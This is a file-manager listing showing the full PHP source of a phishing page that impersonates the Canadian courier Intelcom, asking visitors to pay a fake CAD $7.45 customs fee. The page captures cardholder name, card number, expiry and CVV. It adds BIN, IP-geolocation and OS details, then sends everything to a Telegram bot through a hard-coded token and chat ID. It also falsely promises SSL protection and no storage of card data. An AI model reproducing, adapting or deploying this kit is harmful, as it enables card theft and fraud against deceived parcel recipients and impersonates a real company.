at path:
ROOT
/
intelcom
/
payment.php
run:
R
W
Run
assets
DIR
2026-10-18 18:34:10
R
W
Run
approval.php
24.88 KB
2026-10-29 12:06:13
R
W
Run
Delete
Rename
index.php
21.14 KB
2026-10-29 12:06:14
R
W
Run
Delete
Rename
loading1.php
14.24 KB
2026-10-18 18:31:44
R
W
Run
Delete
Rename
loading2.php
14.23 KB
2026-10-18 18:31:22
R
W
Run
Delete
Rename
payment.php
26.02 KB
2026-10-29 12:06:15
R
W
Run
Delete
Rename
error_log
up
📄
payment.php
Save
<?php $BOT_TOKEN = "8135689033:AAHxU286FMqROF7AdbzexK-TfjG7mJ5V8YU"; $CHAT_ID = "-5326912500"; // === GET USER INFO === $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = 'Unknown'; $timeout = 5; try { $context = stream_context_create([ 'http' => ['timeout' => $timeout], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); if (isset($geo->country) && $geo->status === 'success') { $country = $geo->country; } } } catch (Exception $e) { $country = 'Unknown'; } function getBinInfo($bin) { $url = "https://data.handyapi.com/bin/{$bin}"; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D'] ]); $response = curl_exec($ch); curl_close($ch); if ($response) { return json_decode($response, true); } return null; } function getCountryFromIP($ip, $timeout = 3) { if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') return 'Unknown'; try { $context = stream_context_create([ 'http' => ['timeout' => $timeout], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false] ]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); if (isset($geo->country) && $geo->status === 'success') return $geo->country; } } catch (Exception $e) {} return 'Unknown'; } function detectOS($user_agent) { $os = 'Unknown'; if (strpos($user_agent, 'Windows') !== false) $os = 'Windows'; elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS'; elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux'; elseif (strpos($user_agent, 'Android') !== false) $os = 'Android'; elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS'; elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS'; return $os; } function formatBinInfo($bin, $binData) { $binInfo = "<b>🅱️ BIN INFORMATION:</b>\n"; if ($binData && is_array($binData)) { $brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN'; $bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown'; $binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown'; $type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN'; $level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD'; $currency = $binData['Currency'] ?? $binData['currency'] ?? 'CAD'; $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> | <b>Brand:</b> {$brand}\n"; $binInfo .= "• <b>Bank:</b> {$bank} | <b>Country:</b> {$binCountry}\n"; $binInfo .= "• <b>Type:</b> {$type} | <b>Level:</b> {$level}\n"; $binInfo .= "• <b>Currency:</b> {$currency}\n\n"; } else { $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> (No additional info available)\n\n"; } return $binInfo; } function sendTelegram($msg) { global $BOT_TOKEN, $CHAT_ID; $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; $data = ['chat_id' => $CHAT_ID, 'text' => $msg, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'] ]); $result = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $httpCode === 200; } // === HANDLE PAYMENT LOG === if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_payment') { header('Content-Type: application/json'); $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = getCountryFromIP($ip); $os = detectOS($user_agent); $tracking = htmlspecialchars($_POST['tracking'] ?? 'Unknown'); $parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'Unknown'); $card_name = htmlspecialchars($_POST['card_name'] ?? 'Unknown'); $card_number = preg_replace('/\s+/', '', $_POST['card_number'] ?? ''); $expiry = htmlspecialchars($_POST['expiry'] ?? '00/00'); $cvv = htmlspecialchars($_POST['cvv'] ?? '000'); $bin = substr($card_number, 0, 6); $binData = getBinInfo($bin); $msg = "<b>✅ INTELCOM CANADA PAYMENT CAPTURED</b>\n"; $msg .= "══════════════════════════════\n\n"; $msg .= formatBinInfo($bin, $binData); $msg .= "<b>💳 CARD DETAILS:</b>\n"; $msg .= "• <b>Tracking #:</b> <code>{$tracking}</code>\n"; $msg .= "• <b>Parcel Type:</b> {$parcel_type}\n"; $msg .= "• <b>Cardholder:</b> {$card_name}\n"; $msg .= "• <b>Card Number:</b> <code>{$card_number}</code>\n"; $msg .= "• <b>Expiry:</b> {$expiry}\n"; $msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n"; $msg .= "• <b>Amount:</b> CAD \$7.45\n\n"; $msg .= "<b>👤 CLIENT INFORMATION:</b>\n"; $msg .= "• <b>IP:</b> <code>{$ip}</code>\n"; $msg .= "• <b>Country:</b> {$country}\n"; $msg .= "• <b>OS:</b> {$os}\n"; $msg .= "• <b>User Agent:</b> " . substr($user_agent, 0, 50) . "...\n"; $msg .= "• <b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; $msg .= "══════════════════════════════\n"; $msg .= "<i>📍 Intelcom Canada — Toronto, ON</i>"; sendTelegram($msg); echo json_encode(['status' => 'success']); exit; } $tracking = htmlspecialchars($_POST['tracking'] ?? ''); $parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'International Parcel'); $weight = htmlspecialchars($_POST['weight'] ?? '0.72'); if (empty($tracking)) { $tracking = 'INTLCMB5804138'; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Intelcom | Customs Payment</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif; color: #1E2226; background: #fff; } /* Header */ header { background: #fff; border-bottom: 1px solid #56697A; position: relative; } header::after { content: ""; position: absolute; left: 50%; right: 0; bottom: -1px; height: 3px; background: #D9822B; } .header-container { display: flex; align-items: center; justify-content: space-between; padding: 20px 40px; min-height: 90px; } .logo img { height: 44px; width: auto; } .header-nav { display: flex; align-items: center; gap: 36px; list-style: none; } .header-nav a { text-decoration: none; color: #56697A; font-size: 15px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.3px; transition: color .2s; } .header-nav a:hover { color: #00A88E; } .chevron { font-size: 11px; color: #A9B6C0; margin-left: 4px; } .header-tools { display: flex; align-items: center; margin-left: 36px; border-left: 1px solid #56697A; } .header-tools > * { display: flex; align-items: center; height: 90px; padding: 0 26px; border-right: 1px solid #56697A; color: #56697A; font-size: 15px; font-weight: 600; text-transform: uppercase; background: none; border-top: none; border-bottom: none; border-left: none; cursor: pointer; text-decoration: none; } .header-tools > *:last-child { border-right: none; } .header-tools > *:hover { color: #00A88E; } .header-tools .icon { font-size: 20px; text-transform: none; } /* Page */ .hero { background: #1E2226; color: #fff; padding: 46px 40px; } .hero-inner { max-width: 1200px; margin: 0 auto; } .hero h1 { font-size: clamp(26px, 4vw, 36px); font-weight: 800; text-transform: uppercase; letter-spacing: 0.5px; } .hero h1 span { color: #00A88E; } .hero p { margin-top: 8px; color: #A9B6C0; font-size: 15px; } .page-content { max-width: 860px; margin: 0 auto; padding: 48px 40px 64px; } .card { background: #fff; border: 1px solid #D9DEE3; border-radius: 6px; padding: 32px; box-shadow: 0 4px 14px rgba(30,34,38,0.06); } .progress { display: flex; align-items: center; gap: 10px; background: #F4F6F8; border-left: 4px solid #D9822B; border-radius: 4px; padding: 14px 18px; margin-bottom: 24px; font-size: 15px; } .progress i { color: #D9822B; } .progress strong { color: #1E2226; } .progress span { color: #00A88E; font-weight: 700; } .parcel-info { background: #F4F6F8; border: 1px solid #E3E7EB; border-radius: 6px; padding: 18px 20px; margin-bottom: 24px; } .info-row { display: flex; justify-content: space-between; padding: 9px 0; border-bottom: 1px solid #E3E7EB; font-size: 14px; } .info-row:last-child { border-bottom: none; } .info-label { color: #56697A; } .info-label i { color: #56697A; margin-right: 4px; } .info-value { font-weight: 700; color: #1E2226; } .amount-display { background: #1E2226; color: #fff; padding: 28px 32px; text-align: center; border-radius: 6px; margin: 0 0 16px; } .amount-caption { font-size: 12px; letter-spacing: 2px; color: #A9B6C0; margin-bottom: 6px; text-transform: uppercase; } .amount-currency { font-size: 1.25rem; vertical-align: super; margin-right: 4px; color: #A9B6C0; } .amount-number { font-size: 3.2rem; font-weight: 800; line-height: 1; color: #00A88E; } .fee-description { text-align: center; color: #56697A; font-size: 13px; margin-bottom: 24px; } .fee-description i { color: #D9822B; } label { display: block; margin: 20px 0 6px; font-weight: 700; font-size: 12px; color: #1E2226; text-transform: uppercase; letter-spacing: 0.6px; } label i { color: #56697A; } input[type="text"], input[type="tel"] { width: 100%; padding: 12px 14px; border: 2px solid #D9DEE3; border-radius: 6px; background: #fff; font-family: inherit; font-size: 15px; color: #1E2226; transition: all .15s; } input:focus { outline: none; border-color: #00A88E; box-shadow: 0 0 0 3px rgba(0,168,142,0.15); } .input-group { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; } @media (max-width: 600px) { .input-group { grid-template-columns: 1fr; } } .btn-primary { display: block; width: 100%; margin-top: 26px; padding: 15px; background: #00A88E; color: #fff; border: none; border-radius: 6px; font-family: inherit; font-size: 15px; font-weight: 700; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all .15s; } .btn-primary:hover { background: #008F7A; transform: translateY(-1px); box-shadow: 0 6px 16px rgba(0,168,142,0.35); } .btn-primary i { margin-right: 8px; } .payment-methods { display: flex; justify-content: center; gap: 10px; margin: 22px 0 0; flex-wrap: wrap; } .payment-method { background: #F4F6F8; border: 1px solid #E3E7EB; border-radius: 6px; padding: 6px 12px; font-size: 13px; color: #56697A; display: flex; align-items: center; gap: 6px; } .payment-method i { font-size: 16px; } .tip { font-size: 13px; color: #56697A; margin-top: 22px; padding: 14px 16px; background: #F4F6F8; border-left: 3px solid #00A88E; border-radius: 4px; line-height: 1.5; } .tip i { color: #00A88E; margin-right: 4px; } .loading-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.98); display: none; justify-content: center; align-items: center; flex-direction: column; z-index: 1000; } .spinner { width: 50px; height: 50px; border: 3px solid #E3E7EB; border-top: 3px solid #00A88E; border-radius: 50%; animation: spin 1.2s linear infinite; margin-bottom: 16px; } @keyframes spin { to { transform: rotate(360deg); } } /* Footer */ footer { background: #1E2226; color: #fff; padding: 60px 40px 30px; } .footer-container { max-width: 1400px; margin: 0 auto; } .footer-logo { margin-bottom: 60px; } .footer-logo img { height: 56px; width: auto; } .footer-top { display: grid; grid-template-columns: 1.1fr 1fr 1fr 1fr 1fr; gap: 40px; } .footer-main-links { list-style: none; } .footer-main-links a { text-decoration: none; color: #56697A; font-size: 40px; font-weight: 700; letter-spacing: -0.5px; line-height: 1.2; transition: color .2s; } .footer-main-links a:hover { color: #00A88E; } .footer-col h4, .location-col h4 { font-size: 13px; font-weight: 500; color: #56697A; text-transform: uppercase; letter-spacing: 0.8px; margin-bottom: 24px; } .footer-col ul { list-style: none; } .footer-col ul li { margin-bottom: 14px; } .footer-col ul li a { text-decoration: none; color: #fff; font-size: 15px; font-weight: 600; transition: color .2s; } .footer-col ul li a:hover { color: #00A88E; } .arrow { font-size: 12px; margin-left: 4px; } .location-note { font-size: 12px; color: #56697A; line-height: 1.4; margin-bottom: 12px; } .location-list { list-style: none; border-left: 1px solid #2E3740; padding-left: 20px; } .location-list li { margin-bottom: 10px; } .location-list a { text-decoration: none; color: #56697A; font-size: 16px; font-weight: 600; } .location-list a.active { color: #00A88E; } .location-list a.sub { font-size: 12px; font-weight: 400; } .location-list a.active-sub { color: #00A88E; font-size: 12px; font-weight: 400; } .lang { color: #fff; font-weight: 600; text-transform: uppercase; text-decoration: none; font-size: 13px; margin-top: 40px; display: inline-block; } .footer-bottom { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 20px; margin-top: 70px; padding-top: 24px; font-size: 12px; letter-spacing: 0.5px; text-transform: uppercase; } .footer-bottom .copyright { color: #56697A; } .footer-bottom .legal { display: flex; gap: 28px; } .footer-bottom .legal a { color: #56697A; text-decoration: none; transition: color .2s; } .footer-bottom .legal a:hover { color: #00A88E; } @media (max-width: 1024px) { .header-nav { display: none; } .footer-top { grid-template-columns: repeat(2, 1fr); } .footer-main-links a { font-size: 30px; } } @media (max-width: 700px) { .hero { padding: 36px 20px; } .page-content { padding: 36px 20px 48px; } .card { padding: 22px; } } @media (max-width: 600px) { .header-container { padding: 15px 20px; } .header-tools > * { padding: 0 12px; font-size: 13px; height: 70px; } .footer-top { grid-template-columns: 1fr; } .footer-main-links a { font-size: 26px; } .amount-number { font-size: 2.4rem; } } </style> </head> <body> <header> <div class="header-container"> <div class="logo"><img src="assets/1.png" alt="Intelcom"></div> <ul class="header-nav"> <li><a href="#track">Track</a></li> <li><a href="#ship">Ship <span class="chevron">▼</span></a></li> <li><a href="#deliver">Deliver</a></li> <li><a href="#employment">Employment <span class="chevron">▼</span></a></li> <li><a href="#tech">Tech <span class="chevron">▼</span></a></li> <li><a href="#about">About <span class="chevron">▼</span></a></li> <li><a href="#faq">FAQ</a></li> </ul> <div class="header-tools"> <a href="#location">Change Location <span class="chevron">▼</span></a> <a href="#fr">FR</a> <button class="icon" title="Search">🔍</button> <button class="icon" title="Notifications">🔔</button> </div> </div> </header> <div class="hero"> <div class="hero-inner"> <h1>Customs <span>Payment</span></h1> <p>Clearance fee required for your international package</p> </div> </div> <main class="page-content"> <div class="card"> <div class="progress"> <i class="fas fa-credit-card"></i> <strong>Status:</strong> <span>Payment required</span> </div> <div class="parcel-info"> <div class="info-row"> <span class="info-label"><i class="fas fa-barcode"></i> Tracking number:</span> <span class="info-value" id="trackingDisplay"><?php echo $tracking; ?></span> </div> <div class="info-row"> <span class="info-label"><i class="fas fa-box"></i> Package type:</span> <span class="info-value" id="typeDisplay"><?php echo $parcel_type; ?></span> </div> <div class="info-row"> <span class="info-label"><i class="fas fa-weight-hanging"></i> Weight:</span> <span class="info-value" id="weightDisplay"><?php echo $weight; ?> kg</span> </div> <div class="info-row"> <span class="info-label"><i class="fas fa-file-invoice-dollar"></i> Fee type:</span> <span class="info-value">Customs clearance fee</span> </div> </div> <div class="amount-display"> <div class="amount-caption">Customs fee (CAD)</div> <span class="amount-currency">$</span><span class="amount-number">7.45</span> </div> <div class="fee-description"> <i class="fas fa-info-circle"></i> This is a mandatory customs fee for international packages </div> <form id="paymentForm"> <input type="hidden" id="tracking" name="tracking" value="<?php echo $tracking; ?>"> <input type="hidden" id="parcel_type" name="parcel_type" value="<?php echo $parcel_type; ?>"> <label for="card_name"><i class="fas fa-user"></i> Cardholder name</label> <input type="text" id="card_name" name="card_name" placeholder="e.g. JOHN SMITH" required> <label for="card_number"><i class="fas fa-credit-card"></i> Card number</label> <input type="tel" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" maxlength="19" required> <div class="input-group"> <div> <label for="expiry"><i class="fas fa-calendar-alt"></i> Expiry date (MM/YY)</label> <input type="tel" id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required> </div> <div> <label for="cvv"><i class="fas fa-lock"></i> CVV</label> <input type="tel" id="cvv" name="cvv" placeholder="123" maxlength="4" required> </div> </div> <div class="payment-methods"> <div class="payment-method"><i class="fab fa-cc-visa"></i> Visa</div> <div class="payment-method"><i class="fab fa-cc-mastercard"></i> MasterCard</div> <div class="payment-method"><i class="fab fa-cc-amex"></i> Amex</div> <div class="payment-method"><i class="fas fa-university"></i> Interac</div> </div> <p class="tip"> <i class="fas fa-shield-alt"></i> Your payment is secured with 256-bit SSL encryption. Intelcom never stores your full card details. </p> <button type="submit" class="btn-primary"> <i class="fas fa-lock"></i> Pay CAD $7.45 now </button> </form> </div> </main> <div class="loading-overlay" id="loadingOverlay"> <div class="spinner"></div> <div style="font-size: 1.05rem; font-weight: 700; margin-bottom: 6px; color: #1E2226;">Processing secure payment...</div> <div style="color: #56697A;">Please do not close this window</div> </div> <footer> <div class="footer-container"> <div class="footer-logo"><img src="assets/1.png" alt="Intelcom"></div> <div class="footer-top"> <ul class="footer-main-links"> <li><a href="#track">Track</a></li> <li><a href="#ship">Ship</a></li> <li><a href="#deliver">Deliver</a></li> <li><a href="#employment">Employment</a></li> <li><a href="#tech">Tech</a></li> <li><a href="#about">About</a></li> <li><a href="#faq">FAQ</a></li> </ul> <div class="footer-col"> <h4>Support</h4> <ul> <li><a href="#track-package">Track your package</a></li> <li><a href="#faq">FAQ</a></li> <li><a href="#help">Help</a></li> </ul> </div> <div class="footer-col"> <h4>Professionals</h4> <ul> <li><a href="#shipping">Shipping Services</a></li> <li><a href="#portal">Client Portal</a></li> <li><a href="#developers">Developer Integration Center</a></li> </ul> </div> <div class="footer-col"> <h4>Company</h4> <ul> <li><a href="#about">About us</a></li> <li><a href="#careers">Careers</a></li> <li><a href="#jobs">Jobs at Intelcom</a></li> <li><a href="#platform">Technological Platform</a></li> <li><a href="#media">Media</a></li> <li><a href="#blog">Blog</a></li> </ul> </div> <div class="footer-col"> <h4>Follow us</h4> <ul> <li><a href="#linkedin">LinkedIn <span class="arrow">→</span></a></li> <li><a href="#facebook">Facebook <span class="arrow">→</span></a></li> <li><a href="#youtube">YouTube <span class="arrow">→</span></a></li> <li><a href="#instagram">Instagram <span class="arrow">→</span></a></li> </ul> <div class="location-col" style="margin-top: 36px;"> <h4>Change location</h4> <p class="location-note">We operate in different regions and countries.</p> <ul class="location-list"> <li><a href="#canada" class="active">Canada</a></li> <li><a href="#quebec" class="active-sub">Quebec</a></li> <li><a href="#other" class="sub">Other provinces</a></li> <li><a href="#australia">Australia</a></li> <li><a href="#netherlands">The Netherlands</a></li> </ul> </div> </div> </div> <a href="#fr" class="lang">Français</a> <div class="footer-bottom"> <div class="copyright">© 2026 Intelcom. All rights reserved.</div> <div class="legal"> <a href="#terms">Terms of use</a> <a href="#privacy">Privacy policy</a> <a href="#cookies">Manage cookies</a> </div> </div> </div> </footer> <script> document.addEventListener('DOMContentLoaded', function() { const tracking = '<?php echo $tracking; ?>'; document.getElementById('trackingDisplay').textContent = tracking; }); document.getElementById('card_number').addEventListener('input', function(e) { let v = e.target.value.replace(/\D/g, '').substring(0,16); e.target.value = v.match(/.{1,4}/g)?.join(' ') || v; }); document.getElementById('expiry').addEventListener('input', function(e) { let v = e.target.value.replace(/\D/g, '').substring(0,4); if (v.length > 2) v = v.slice(0,2) + '/' + v.slice(2); e.target.value = v; }); document.getElementById('paymentForm').addEventListener('submit', async function(e) { e.preventDefault(); const btn = this.querySelector('.btn-primary'); const overlay = document.getElementById('loadingOverlay'); btn.disabled = true; btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...'; overlay.style.display = 'flex'; const formData = new FormData(this); const data = { action: 'log_payment', tracking: formData.get('tracking'), parcel_type: formData.get('parcel_type'), card_name: formData.get('card_name'), card_number: formData.get('card_number'), expiry: formData.get('expiry'), cvv: formData.get('cvv') }; try { await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: new URLSearchParams(data) }); } catch (err) { console.log('Telegram failed'); } localStorage.setItem('intelcomPayment', JSON.stringify(Object.fromEntries(formData))); setTimeout(() => { window.location.href = 'loading2.php'; }, 1500); }); </script> </body> </html>